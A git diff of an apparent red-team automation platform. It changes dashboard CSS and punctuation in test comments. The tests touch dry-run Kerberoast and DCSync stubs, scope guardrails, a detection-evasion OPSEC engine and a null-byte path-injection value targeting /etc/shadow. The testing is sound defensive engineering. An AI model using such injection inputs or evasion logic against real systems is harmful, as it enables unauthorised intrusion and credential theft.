index 27c225e..160e618 100644
--- a/frontend/src/features/graph/graphCobalt.css
+++ b/frontend/src/features/graph/graphCobalt.css
@@ -236,7 +236,7 @@
overflow: hidden;
}
-/* CRT Scanline Overlay — Industrial-Brutalist requirement */
+/* CRT Scanline Overlay - Industrial-Brutalist requirement */
.cobalt-canvas-area::before {
content: "";
position: absolute;
diff --git a/frontend/src/styles.css b/frontend/src/styles.css
index d683d66..bb75187 100644
--- a/frontend/src/styles.css
+++ b/frontend/src/styles.css
@@ -6,7 +6,7 @@
color: #f4f4f5;
background: #09090b;
font-family:
- 'Space Grotesk', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
+ 'Plus Jakarta Sans', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
font-synthesis: none;
text-rendering: optimizeLegibility;
}
@@ -20,8 +20,8 @@ body {
min-width: 320px;
background: #09090b;
color: #f4f4f5;
- font-family: 'Space Grotesk', system-ui, -apple-system, sans-serif;
- letter-spacing: -0.012em;
+ font-family: 'Plus Jakarta Sans', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
+ letter-spacing: -0.01em;
-webkit-font-smoothing: antialiased;
}
@@ -1718,6 +1718,167 @@ textarea.field {
text-align: right;
}
+/* -- Mission Control HUD & Adversary Pipeline (Anti-Slop Double-Bezel) -- */
+
+.overview-shell {
+ display: flex;
+ flex-direction: column;
+ gap: 1.25rem;
+}
+
+.overview-quick-actions {
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+ flex-wrap: wrap;
+}
+
+.hud-bento-grid {
+ display: grid;
+ grid-template-columns: repeat(4, minmax(0, 1fr));
+ gap: 0.85rem;
+}
+
+@media (max-width: 1024px) {
+ .hud-bento-grid {
+ grid-template-columns: repeat(2, minmax(0, 1fr));
+ }
+}
+
+@media (max-width: 640px) {
+ .hud-bento-grid {
+ grid-template-columns: 1fr;
+ }
+}
+
+/* Double-Bezel Architecture */
+.hud-bezel-card {
+ position: relative;
+ background: rgba(255, 255, 255, 0.02);
+ border: 1px solid rgba(255, 255, 255, 0.07);
+ border-radius: 8px;
+ padding: 2px;
+ transition: border-color 160ms ease;
+}
+
+.hud-bezel-card:hover {
+ border-color: rgba(255, 255, 255, 0.12);
+}
+
+.hud-bezel-inner {
+ background: #111114;
+ border-radius: 6px;
+ padding: 1.15rem 1.25rem;
+ display: flex;
+ flex-direction: column;
+ justify-content: space-between;
+ min-height: 106px;
+}
+
+.hud-card-title {
+ color: #71717a;
+ font-size: 0.76rem;
+ font-weight: 600;
+ text-transform: uppercase;
+ letter-spacing: 0.04em;
+}
+
+.hud-card-value {
+ color: #f4f4f5;
+ font-size: 1.75rem;
+ font-weight: 700;
+ letter-spacing: -0.025em;
+ line-height: 1.15;
+ margin: 0.35rem 0;
+}
+
+.hud-card-footer {
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+ font-size: 0.78rem;
+ color: #a1a1aa;
+}
+
+.hud-context-text {
+ font-size: 0.76rem;
+ color: #71717a;
+ font-weight: 500;
+ white-space: nowrap;
+ overflow: hidden;
+ text-overflow: ellipsis;
+}
+
+/* Tier 2 Workstation: Clean 50/50 Grid */
+.workstation-split {
+ display: grid;
+ grid-template-columns: repeat(2, minmax(0, 1fr));
+ gap: 1rem;
+}
+
+@media (max-width: 900px) {
+ .workstation-split {
+ grid-template-columns: 1fr;
+ }
+}
+
+.overview-content-card {
+ background: #111114;
+ border: 1px solid rgba(255, 255, 255, 0.07);
+ border-radius: 8px;
+ padding: 1.25rem;
+ display: flex;
+ flex-direction: column;
+ justify-content: space-between;
+ gap: 1rem;
+}
+
+.pulse-stat-grid {
+ display: grid;
+ grid-template-columns: repeat(2, minmax(0, 1fr));
+ gap: 0.75rem;
+}
+
+.pulse-stat-cell {
+ background: rgba(255, 255, 255, 0.02);
+ border: 1px solid rgba(255, 255, 255, 0.05);
+ border-radius: 6px;
+ padding: 0.85rem;
+}
+
+.pulse-stat-label {
+ font-size: 0.72rem;
+ color: #71717a;
+ font-weight: 600;
+ text-transform: uppercase;
+ letter-spacing: 0.03em;
+}
+
+.pulse-stat-value {
+ margin-top: 0.3rem;
+ font-size: 1.05rem;
+ font-weight: 700;
+ color: #f4f4f5;
+}
+
+/* Tier 3 Table enhancements */
+.campaign-table-row {
+ cursor: pointer;
+ transition: background 120ms ease;
+}
+
+.campaign-table-row:hover {
+ background: rgba(255, 255, 255, 0.035);
+}
+
+.campaign-table-row.is-selected {
+ background: rgba(255, 255, 255, 0.05);
+}
+
+.campaign-table-row.is-selected td:first-child {
+ border-left: 2px solid #f4f4f5;
+}
+
.table-panel {
overflow: hidden;
padding: 0.85rem;
@@ -2452,10 +2613,10 @@ textarea.field {
/* ==========================================================================
Login Page Animations
- Each animation is motivated — see inline rationale.
+ Each animation is motivated - see inline rationale.
========================================================================== */
-/* Entry stagger — communicates hierarchy: brand → copy → pillars → card */
+/* Entry stagger - communicates hierarchy: brand → copy → pillars → card */
@keyframes loginSlideFade {
0% { opacity: 0; transform: translateY(12px); }
100% { opacity: 1; transform: translateY(0); }
@@ -2465,7 +2626,7 @@ textarea.field {
animation: loginSlideFade 0.5s cubic-bezier(0.16, 1, 0.3, 1) both;
}
-/* Status beacon — communicates "live": DAG engine is running, not static */
+/* Status beacon - communicates "live": DAG engine is running, not static */
@keyframes beaconPulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.4; transform: scale(1.2); }
@@ -2475,7 +2636,7 @@ textarea.field {
animation: beaconPulse 2.4s ease-in-out infinite;
}
-/* Ambient breathe — communicates the system is active, not idle.
+/* Ambient breathe - communicates the system is active, not idle.
Slow enough (9s) to be subliminal, not distracting. */
@keyframes aresBreathe {
0%, 100% { opacity: 0.5; transform: scale(0.96); }
@@ -2531,7 +2692,7 @@ textarea.field {
}
/* ─────────────────────────────────────────────────────────────────────────────
- ARES SIGNATURE INTERACTION — Crimson Plasma Shockwave
+ ARES SIGNATURE INTERACTION - Crimson Plasma Shockwave
Triggered imperatively from AresIgniteButton on mousedown.
The spawned <span> reads this keyframe by name via inline style.
────────────────────────────────────────────────────────────────────────────── */
@@ -2564,7 +2725,7 @@ textarea.field {
}
}
-/* Hover: laser-sweep border — crimson line travels the full perimeter once */
+/* Hover: laser-sweep border - crimson line travels the full perimeter once */
.ares-ignite-idle {
position: relative;
}
@@ -2607,7 +2768,7 @@ textarea.field {
100% { transform: rotate(360deg); opacity: 0; }
}
-/* Loading state: slow crimson perimeter pulse — system is active */
+/* Loading state: slow crimson perimeter pulse - system is active */
.ares-ignite-loading {
position: relative;
animation: aresLoadingPulse 1.6s ease-in-out infinite;
diff --git a/frontend/tailwind.config.ts b/frontend/tailwind.config.ts
index e6a9d40..2a46c74 100644
--- a/frontend/tailwind.config.ts
+++ b/frontend/tailwind.config.ts
@@ -5,7 +5,7 @@ export default {
theme: {
extend: {
fontFamily: {
- sans: ["'Space Grotesk'", "system-ui", "-apple-system", "sans-serif"],
+ sans: ["'Plus Jakarta Sans'", "system-ui", "-apple-system", "BlinkMacSystemFont", "'Segoe UI'", "Roboto", "sans-serif"],
mono: ["'JetBrains Mono'", "ui-monospace", "monospace"]
},
colors: {
diff --git a/tests/conftest.py b/tests/conftest.py
index 77ad75a..7d97fb4 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -1,5 +1,5 @@
"""
-ARES test suite — conftest.py
+ARES test suite - conftest.py
Shared pytest fixtures, PYTHONPATH bootstrap, and async configuration.
Auto-discovered by pytest. All fixtures are available to every test file.
"""
@@ -25,7 +25,7 @@ if str(_REPO_ROOT) not in sys.path:
import tempfile
# ── Required env vars for AresSettings ───────────────────────────────────────
-# AresSettings has Field(...) on secret_key and encryption_key — no defaults.
+# AresSettings has Field(...) on secret_key and encryption_key - no defaults.
# Setting these at module level guarantees test collection never crashes when
# a test file imports ares.api.server or calls get_settings() at module import time.
os.environ.setdefault("ARES_SECRET_KEY", "test-secret-key-min-32-chars-placeholder!!")
@@ -213,7 +213,7 @@ def goal_engine():
mock_registry.__iter__ = lambda self: iter([])
mock_registry.all.return_value = [] # ModuleRegistry uses .all() not .all_modules()
mock_registry.get.return_value = None
- # CapabilityGraph.from_registry is called in __init__ — mock it
+ # CapabilityGraph.from_registry is called in __init__ - mock it
with __import__("unittest.mock", fromlist=["patch"]).patch(
"ares.goal.engine.CapabilityGraph.from_registry",
return_value=MagicMock()
diff --git a/tests/integration/test_api_post.py b/tests/integration/test_api_post.py
index 28dd89d..3593e91 100644
--- a/tests/integration/test_api_post.py
+++ b/tests/integration/test_api_post.py
@@ -1,5 +1,5 @@
"""
-ARES API Integration Tests — POST body endpoints.
+ARES API Integration Tests - POST body endpoints.
Uses full FastAPI lifespan with an in-memory SQLite database.
Tests JSON body parsing, business logic, and DB persistence end-to-end
@@ -9,14 +9,14 @@ Each test class creates its own TestClient to avoid lru_cache(get_settings)
cross-contamination when run in the same process as unit tests.
Coverage:
- POST /auth/token (form) — login, get tokens
- POST /auth/refresh — refresh token rotation
- POST /auth/register — register new user
- POST /auth/change-password — password change
- POST /campaigns — create campaign + DB persist
- POST /campaigns/{id}/run (body) — run plan (dry_run=True)
- GET /campaigns/{id} — verify persist after POST
- GET /campaigns/{id}/findings — findings list
+ POST /auth/token (form) - login, get tokens
+ POST /auth/refresh - refresh token rotation
+ POST /auth/register - register new user
+ POST /auth/change-password - password change
+ POST /campaigns - create campaign + DB persist
+ POST /campaigns/{id}/run (body) - run plan (dry_run=True)
+ GET /campaigns/{id} - verify persist after POST
+ GET /campaigns/{id}/findings - findings list
Security headers on POST responses
Run: pytest tests/integration/test_api_post.py -v --timeout=30
@@ -67,7 +67,7 @@ def _fresh_client() -> TestClient:
Called once per test class so lru_cache doesn't bleed from unit tests.
"""
from ares.core.config import get_settings
- get_settings.cache_clear() # clear lru_cache — force re-read from env
+ get_settings.cache_clear() # clear lru_cache - force re-read from env
from ares.api.server import app
return TestClient(app, base_url="http://localhost:5173", raise_server_exceptions=False)
diff --git a/tests/integration/test_campaign.py b/tests/integration/test_campaign.py
index 1621ac6..e985719 100644
--- a/tests/integration/test_campaign.py
+++ b/tests/integration/test_campaign.py
@@ -50,7 +50,7 @@ def enc_key() -> bytes:
# ── Stub modules for integration ──────────────────────────────────────────────
class StubEnumUsersModule(BaseModule):
- """Stub AD user enumeration — returns fake users for integration tests."""
+ """Stub AD user enumeration - returns fake users for integration tests."""
MODULE_ID = "ad.enum_users"
MODULE_NAME = "AD User Enumeration"
MODULE_CATEGORY = "ad"
@@ -87,7 +87,7 @@ class StubEnumUsersModule(BaseModule):
module_id = self.MODULE_ID,
execution_id = ctx.execution_id,
)
- raise NotImplementedError("Integration stub — dry_run only")
+ raise NotImplementedError("Integration stub - dry_run only")
class StubKerberoastModule(BaseModule):
@@ -534,7 +534,7 @@ class TestEndToEndCampaignSimulation:
@pytest.mark.asyncio
async def test_account_locked_stops_campaign(self, campaign) -> None:
- """Simulates account lockout — engine behavior should abort."""
+ """Simulates account lockout - engine behavior should abort."""
from ares.core.errors import AccountLocked, resolve_action, AresError
def simulate_lockout():
diff --git a/tests/simulation/test_scenarios.py b/tests/simulation/test_scenarios.py
index 0d9377e..02ef1a4 100644
--- a/tests/simulation/test_scenarios.py
+++ b/tests/simulation/test_scenarios.py
@@ -1,7 +1,7 @@
"""
ARES Simulation Tests
End-to-end campaign simulations using dry_run=True.
-No real network calls — verifies the full automation logic:
+No real network calls - verifies the full automation logic:
Engine → GoalEngine → ModuleRegistry → Module → ModuleResult → StateUpdate
These tests prove:
@@ -110,7 +110,7 @@ class StubKerberoastModule(BaseModule):
if ctx.dry_run:
f = self.finding(
title="[DRY RUN] Kerberoastable SPN",
- description="Simulated kerberoast — svc_sql",
+ description="Simulated kerberoast - svc_sql",
severity=Severity.HIGH,
mitre_technique="T1558.003",
host=ctx.target,
@@ -141,8 +141,8 @@ class StubDCSyncModule(BaseModule):
async def execute(self, ctx: ExecutionContext) -> ModuleResult:
if ctx.dry_run:
f = self.finding(
- title="[DRY RUN] DCSync — all hashes",
- description="Simulated DCSync — retrieved 150 hashes",
+ title="[DRY RUN] DCSync - all hashes",
+ description="Simulated DCSync - retrieved 150 hashes",
severity=Severity.CRITICAL,
mitre_technique="T1003.006",
host=ctx.target,
@@ -256,7 +256,7 @@ class TestScenario01BasicADChain:
module_id="ad.kerberoast", domain="CORP",
dry_run=True,
)
- # No exception even with public IP — dry_run bypasses scope
+ # No exception even with public IP - dry_run bypasses scope
result = await module.execute(ctx)
assert result.success
@@ -499,11 +499,11 @@ class TestScenario05GuardrailEnforcement:
def test_simulate_dangerous_module_gate(self) -> None:
from ares.knowledge import CampaignGuardrail
g = CampaignGuardrail(["10.0.0.0/8"])
- # DCSync without confirmation — blocked
+ # DCSync without confirmation - blocked
ok1, msg1 = g.check("ad.dcsync", "10.0.0.1", confirmed=False)
assert not ok1
assert "HIGH-RISK" in msg1
- # After confirmation — allowed
+ # After confirmation - allowed
g.confirm_dangerous("ad.dcsync", "10.0.0.1")
ok2, _ = g.check("ad.dcsync", "10.0.0.1", confirmed=True)
assert ok2
@@ -808,7 +808,7 @@ class TestScenario10MultiOperatorCollaboration:
ok1, lock1 = mgr.acquire_lock(op1.operator_id, "10.0.0.1", "ad.kerberoast")
assert ok1
- # Op2 tries same target+module — locked
+ # Op2 tries same target+module - locked
ok2, msg2 = mgr.acquire_lock(op2.operator_id, "10.0.0.1", "ad.kerberoast")
assert not ok2
assert "locked" in msg2.lower()
diff --git a/tests/unit/core/test_core.py b/tests/unit/core/test_core.py
index fe90619..7ba5759 100644
--- a/tests/unit/core/test_core.py
+++ b/tests/unit/core/test_core.py
@@ -32,7 +32,7 @@ class TestCampaign:
assert c.is_in_scope("10.0.1.1") is False
def test_scope_guard_no_scope_denies_all(self):
- """No scope = deny all — safe default."""
+ """No scope = deny all - safe default."""
c = Campaign(name="T")
assert c.is_in_scope("10.0.0.1") is False
diff --git a/tests/unit/db/test_database.py b/tests/unit/db/test_database.py
index bcaf64c..f787716 100644
--- a/tests/unit/db/test_database.py
+++ b/tests/unit/db/test_database.py
@@ -1,4 +1,4 @@
-"""Tests for ARES v6 — DB layer, plugin loader, and report generation.
+"""Tests for ARES v6 - DB layer, plugin loader, and report generation.
Note: AresEngine tests are in tests/unit/test_engine.py
"""
diff --git a/tests/unit/modules/test_modules.py b/tests/unit/modules/test_modules.py
index 8f628f9..6a5771c 100644
--- a/tests/unit/modules/test_modules.py
+++ b/tests/unit/modules/test_modules.py
@@ -52,7 +52,7 @@ class TestContainerEscape:
with patch("builtins.open", create=True) as mock_open:
mock_open.return_value.__enter__.return_value.read.return_value = fake_status
result = await module._check_privileged()
- # Not fully privileged (not 0x3FFFFFFFFF) — just a check the method runs
+ # Not fully privileged (not 0x3FFFFFFFFF) - just a check the method runs
assert "CapEff" in result or "error" in result
@pytest.mark.asyncio
diff --git a/tests/unit/test_adaptive_opsec.py b/tests/unit/test_adaptive_opsec.py
index 5d00ba9..9b93a5b 100644
--- a/tests/unit/test_adaptive_opsec.py
+++ b/tests/unit/test_adaptive_opsec.py
@@ -1,5 +1,5 @@
"""
-Unit tests — AdaptiveOpsecEngine (ares/core/opsec/adaptive.py)
+Unit tests - AdaptiveOpsecEngine (ares/core/opsec/adaptive.py)
Every detection signal type and every response action is tested.
Also tests thresholds, sliding window, blacklist expiry, and edge cases.
@@ -61,14 +61,14 @@ class TestSignalRegistration:
def test_signal_returns_empty_list_below_threshold(self):
engine = make_engine(timeout_threshold=3)
result = engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")
- # Only 1 timeout, threshold is 3 — no adaptations yet
+ # Only 1 timeout, threshold is 3 - no adaptations yet
assert result == []
def test_multiple_signal_types(self):
engine = make_engine()
for sig in DetectionLevel:
engine.signal(sig, host="10.0.0.1", username="test")
- # No assertion on count — just verify no crash
+ # No assertion on count - just verify no crash
# ══════════════════════════════════════════════════════════════════════════════
@@ -93,7 +93,7 @@ class TestTimeoutRule:
adaptations = engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")
escalations = [a for a in adaptations if a.action == ResponseAction.ESCALATE_PROFILE]
if escalations:
- # stealth is already max — stays stealth
+ # stealth is already max - stays stealth
assert escalations[0].new_profile == "stealth"
def test_jitter_increases_with_timeout(self):
@@ -112,7 +112,7 @@ class TestTimeoutRule:
engine = make_engine(timeout_threshold=2, window_s=0.1)
engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")
time.sleep(0.2) # let them expire
- # New signal — count should be 1, below threshold 2
+ # New signal - count should be 1, below threshold 2
adaptations = engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")
assert not any(a.action == ResponseAction.ESCALATE_PROFILE for a in adaptations)
@@ -287,7 +287,7 @@ class TestAdaptationTracking:
def test_next_stealth_profile_from_stealth(self):
engine = make_engine(current_profile="stealth")
- # Already at max — stays stealth
+ # Already at max - stays stealth
assert engine._next_stealth_profile() == "stealth"
diff --git a/tests/unit/test_api_endpoints.py b/tests/unit/test_api_endpoints.py
index 70fd1a8..09a15a2 100644
--- a/tests/unit/test_api_endpoints.py
+++ b/tests/unit/test_api_endpoints.py
@@ -1,5 +1,5 @@
"""
-API endpoint tests — auth, RBAC, pagination, security headers.
+API endpoint tests - auth, RBAC, pagination, security headers.
Approach: httpx.ASGITransport + dependency_overrides (no lifespan needed).
- base_url="http://localhost" passes TrustedHostMiddleware
@@ -709,7 +709,7 @@ class TestAuthFlow:
@pytest.mark.asyncio
async def test_login_invalid_credentials_returns_401(self, aclient):
- """Login with mocked OAuth2PasswordRequestForm — invalid creds → 401."""
+ """Login with mocked OAuth2PasswordRequestForm - invalid creds → 401."""
c, db, _app = aclient
_reset_rate_limiter()
db.verify_user.return_value = None
@@ -730,7 +730,7 @@ class TestAuthFlow:
@pytest.mark.asyncio
async def test_login_valid_credentials_returns_tokens(self, aclient):
- """Login with mocked OAuth2PasswordRequestForm — valid creds → 200 + tokens."""
+ """Login with mocked OAuth2PasswordRequestForm - valid creds → 200 + tokens."""
c, db, _app = aclient
_reset_rate_limiter()
db.create_login_session.return_value = _issued_session()
@@ -1287,7 +1287,7 @@ class TestRBACEnforcement:
@pytest.mark.asyncio
async def test_security_audit_requires_team_lead(self, aclient):
- """GET /security/audit — operator role → 403."""
+ """GET /security/audit - operator role → 403."""
c, db, _ = aclient
db.is_access_token_revoked.return_value = False
r = await c.get("/security/audit", headers=_auth("op_user", "operator"))
@@ -1295,7 +1295,7 @@ class TestRBACEnforcement:
@pytest.mark.asyncio
async def test_security_audit_accessible_to_team_lead(self, aclient):
- """GET /security/audit — team_lead → 200."""
+ """GET /security/audit - team_lead → 200."""
c, db, _ = aclient
_reset_rate_limiter()
db.is_access_token_revoked.return_value = False
@@ -1885,7 +1885,7 @@ class TestHighNoiseAuthorizationPolicy:
assert exc_info.value.status_code == 403
assert exc_info.value.detail == (
- "'plugin.dynamic-high' is HIGH_NOISE — team_lead only."
+ "'plugin.dynamic-high' is HIGH_NOISE - team_lead only."
)
def test_shared_policy_allows_team_lead_for_high_noise_module(self) -> None:
@@ -1936,7 +1936,7 @@ class TestHighNoiseAuthorizationPolicy:
detail = str(exc_info.value.detail)
assert detail == (
"'plugin.alpha-high', 'plugin.zeta-high' "
- "are HIGH_NOISE — team_lead only."
+ "are HIGH_NOISE - team_lead only."
)
assert [call.args[0] for call in engine.registry.get.call_args_list] == [
"plugin.alpha-high",
diff --git a/tests/unit/test_cli_reporting_goal_planning.py b/tests/unit/test_cli_reporting_goal_planning.py
index 0866646..9055dd5 100644
--- a/tests/unit/test_cli_reporting_goal_planning.py
+++ b/tests/unit/test_cli_reporting_goal_planning.py
@@ -1,5 +1,5 @@
"""
-Round 3 tests — covers the 5 priority features:
+Round 3 tests - covers the 5 priority features:
1. CLI end-to-end (campaign CRUD, pause/resume, target import)
2. Reporting (ReportGenerator JSON/HTML/MD, context builder)
3. Attack Chain (DependencyResolver, CapabilityResolver, ChainAdvisor)
@@ -642,7 +642,7 @@ class TestDashboardApp:
with self._authenticated_dashboard(mock_db) as headers, \
patch("ares.api.dashboard.app.dashboard_app.state", mock_state):
r = client.get("/api/campaigns", headers=headers)
- # Either 200 with data or 500 if DB init fails — both are valid
+ # Either 200 with data or 500 if DB init fails - both are valid
assert r.status_code in (200, 500)
def test_api_findings_with_campaign_id(self, client):
@@ -820,7 +820,7 @@ class TestGoalEngine:
def test_check_goal_achieved_empty_session(self):
from ares.goal.engine import Goal
engine = self._make_engine()
- # Fresh session — goal not achieved
+ # Fresh session - goal not achieved
assert engine.check_goal_achieved(Goal.DOMAIN_ADMIN) is False
def test_check_initial_access_with_owned_host(self):
@@ -1081,7 +1081,7 @@ class TestAdaptiveStrategy:
session = OperatorSession(campaign_id="test")
engine = AdaptiveStrategy(session=session)
- hints = engine.strategy_hints("access is denied — EDR blocked service creation")
+ hints = engine.strategy_hints("access is denied - EDR blocked service creation")
assert isinstance(hints, list)
def test_alternative_chain_for_psexec_failure(self):
diff --git a/tests/unit/test_core_edge_cases.py b/tests/unit/test_core_edge_cases.py
index 84a3bf2..d80df60 100644
--- a/tests/unit/test_core_edge_cases.py
+++ b/tests/unit/test_core_edge_cases.py
@@ -1,5 +1,5 @@
"""
-Step 1B — Edge Case Tests: Core Infrastructure
+Step 1B - Edge Case Tests: Core Infrastructure
Tests for non-happy-path scenarios, boundary conditions, and failure modes.
Supplements test_core_infrastructure.py (happy path tests).
@@ -24,7 +24,7 @@ if str(_ROOT) not in sys.path:
# ═══════════════════════════════════════════════════════════════════════════════
-# 1. AresDatabase — Edge Cases
+# 1. AresDatabase - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestDatabaseEdgeCases:
@@ -213,7 +213,7 @@ class TestDatabaseEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 2. Campaign — Edge Cases
+# 2. Campaign - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestCampaignEdgeCases:
@@ -256,7 +256,7 @@ class TestCampaignEdgeCases:
assert c.is_in_scope("10.0.0.6") is False
def test_scope_multiple_entries(self):
- """Multiple scope entries — IP in any should be in scope."""
+ """Multiple scope entries - IP in any should be in scope."""
from ares.core.campaign import Campaign, ScopeEntry, NoiseProfile
c = Campaign(name="T", scope=[
ScopeEntry(cidr="10.0.0.0/24"),
@@ -310,7 +310,7 @@ class TestCampaignEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 3. CredentialVault — Edge Cases
+# 3. CredentialVault - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestVaultEdgeCases:
@@ -348,7 +348,7 @@ class TestVaultEdgeCases:
def test_store_very_long_secret(self, vault):
"""Very long secret (NTLM hash dump) should roundtrip."""
from ares.credential.vault import Credential, CredentialType, PrivilegeLevel
- long_secret = "A" * 50000 # 50K chars — simulates large credential dump
+ long_secret = "A" * 50000 # 50K chars - simulates large credential dump
cred = Credential(
username="longcred", domain="CORP",
cred_type=CredentialType.NTLM,
@@ -375,7 +375,7 @@ class TestVaultEdgeCases:
)
id1 = vault.store(cred1, secret="old_pass")
id2 = vault.store(cred2, secret="new_pass")
- # Same dedup key — should update existing
+ # Same dedup key - should update existing
assert id1 == id2
# Higher privilege should win
stored = vault._store[id1]
@@ -433,7 +433,7 @@ class TestVaultEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 4. Security — Edge Cases
+# 4. Security - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestSecurityEdgeCases:
@@ -441,7 +441,7 @@ class TestSecurityEdgeCases:
def test_sanitize_path_null_byte_injection(self):
"""Null byte in path should be handled."""
from ares.core.security import sanitize_path
- # Null byte injection — common attack vector
+ # Null byte injection - common attack vector
try:
result = sanitize_path("/home/user/data\x00/etc/shadow")
# Should either strip null or raise
@@ -524,7 +524,7 @@ class TestSecurityEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 5. NoiseController — Edge Cases
+# 5. NoiseController - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestNoiseEdgeCases:
@@ -561,7 +561,7 @@ class TestNoiseEdgeCases:
c = Campaign(name="T", scope=[ScopeEntry(cidr="10.0.0.0/8")],
noise_profile=NoiseProfile.AGGRESSIVE)
nc = NoiseController(c)
- # AGGRESSIVE allows 200 req/min — 5 rapid acquires should be instant
+ # AGGRESSIVE allows 200 req/min - 5 rapid acquires should be instant
t0 = time.monotonic()
for _ in range(5):
await nc.rate_limiter.acquire("test")
@@ -582,7 +582,7 @@ class TestNoiseEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 6. AresContainer — Edge Cases
+# 6. AresContainer - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestContainerEdgeCases:
@@ -634,7 +634,7 @@ class TestContainerEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 7. CVSS / Compliance — Edge Cases
+# 7. CVSS / Compliance - Edge Cases
# ═══════════════════════════════════════════════════════════════════════════════
class TestCVSSEdgeCases:
@@ -687,7 +687,7 @@ class TestCVSSEdgeCases:
# ═══════════════════════════════════════════════════════════════════════════════
-# 8. HIGH IMPACT — Concurrency Stress Tests
+# 8. HIGH IMPACT - Concurrency Stress Tests
# ═══════════════════════════════════════════════════════════════════════════════
class TestConcurrencyStress:
@@ -703,7 +703,7 @@ class TestConcurrencyStress:
@pytest.mark.asyncio
async def test_concurrent_campaign_writes_no_data_loss(self, db):
- """50 concurrent campaign saves must all persist — zero data loss."""
+ """50 concurrent campaign saves must all persist - zero data loss."""
from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
async def save_one(i):
@@ -794,7 +794,7 @@ class TestConcurrencyStress:
# ═══════════════════════════════════════════════════════════════════════════════
-# 9. HIGH IMPACT — Encryption Integrity Tests
+# 9. HIGH IMPACT - Encryption Integrity Tests
# ═══════════════════════════════════════════════════════════════════════════════
class TestEncryptionIntegrity:
@@ -875,7 +875,7 @@ class TestEncryptionIntegrity:
@pytest.mark.asyncio
async def test_db_credential_encrypted_at_rest(self, db):
- """Credential secret in DB must be encrypted — NOT plaintext."""
+ """Credential secret in DB must be encrypted - NOT plaintext."""
from ares.db.database import DBCredential
from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
c = Campaign(name="EncTest", scope=[ScopeEntry(cidr="10.0.0.0/8")],
@@ -885,7 +885,7 @@ class TestEncryptionIntegrity:
cred = DBCredential(campaign_id=c.id, username="enc_user",
cred_type="password", secret=plain_secret)
await db.save_credential(cred)
- # Read raw from DB — secret_enc column must NOT contain plaintext
+ # Read raw from DB - secret_enc column must NOT contain plaintext
raw_creds = await db.load_credentials_raw(c.id)
assert len(raw_creds) >= 1
for rc in raw_creds:
@@ -910,19 +910,19 @@ class TestEncryptionIntegrity:
await db_a.save_credential(cred)
await db_a.close()
- # Read with key B — decryption must fail or return garbage
+ # Read with key B - decryption must fail or return garbage
db_b = await AresDatabase.create(db_path, "key-bbb-32-chars-padded-xxxxxxxx")
creds = await db_b.get_credentials(c.id, decrypt=True)
await db_b.close()
for cr in creds:
secret = cr.get("secret_enc", cr.get("secret", ""))
- # Must either be empty, garbage, or raise — never the original plaintext
+ # Must either be empty, garbage, or raise - never the original plaintext
assert secret != "RealSecret!", \
"CRITICAL: Wrong encryption key decrypted to correct plaintext!"
# ═══════════════════════════════════════════════════════════════════════════════
-# 10. HIGH IMPACT — Security Boundary Tests
+# 10. HIGH IMPACT - Security Boundary Tests
# ═══════════════════════════════════════════════════════════════════════════════
class TestSecurityBoundaries:
@@ -994,7 +994,7 @@ class TestSecurityBoundaries:
from ares.core.security import hash_password
# A valid bcrypt hash that would match if the prefix check wasn't there
fake_key = "not_ares_prefix_but_valid_otherwise"
- # The verify_api_key method checks prefix first — we verify that pattern
+ # The verify_api_key method checks prefix first - we verify that pattern
assert not fake_key.startswith("ares_")
@pytest.mark.asyncio
@@ -1009,9 +1009,9 @@ class TestSecurityBoundaries:
user = await db.get_user("admin")
uid = user["id"]
key_id, raw = await db.create_api_key(uid, "temp", "admin")
- # First revoke — should succeed
+ # First revoke - should succeed
assert await db.revoke_api_key(key_id, uid) is True
- # Second revoke — already revoked, should return False
+ # Second revoke - already revoked, should return False
assert await db.revoke_api_key(key_id, uid) is False
await db.close()
@@ -1036,11 +1036,11 @@ class TestSecurityBoundaries:
await db.close()
def test_scope_empty_means_deny_all(self):
- """Empty scope must deny everything — this is the fail-closed invariant."""
+ """Empty scope must deny everything - this is the fail-closed invariant."""
from ares.core.campaign import Campaign, NoiseProfile
c = Campaign(name="DenyAll", scope=[], noise_profile=NoiseProfile.NORMAL)
# MUST deny every possible IP
for ip in ["0.0.0.0", "10.0.0.1", "127.0.0.1", "192.168.1.1",
"255.255.255.255", "8.8.8.8"]:
assert c.is_in_scope(ip) is False, \
- f"CRITICAL: Empty scope allowed {ip} — fail-open bug!"
+ f"CRITICAL: Empty scope allowed {ip} - fail-open bug!"
diff --git a/tests/unit/test_core_infrastructure.py b/tests/unit/test_core_infrastructure.py
index c1d13bd..f98d3bd 100644
--- a/tests/unit/test_core_infrastructure.py
+++ b/tests/unit/test_core_infrastructure.py
@@ -1,13 +1,13 @@
"""
-Step 1 — Unit Tests: Core Infrastructure
+Step 1 - Unit Tests: Core Infrastructure
Tests for the foundation that every module depends on:
- - AresDatabase (SQLite) — CRUD, encryption, bypass outcomes
- - CredentialVault — encrypt/decrypt round-trip, privilege scoring
- - Campaign — scope enforcement, finding management, noise profiles
- - Security — sanitize_path whitelist, sanitize_hostname, DataEncryptor
- - NoiseController — jitter, rate limiting
- - AresContainer (DI) — registration, retrieval, factory, module building
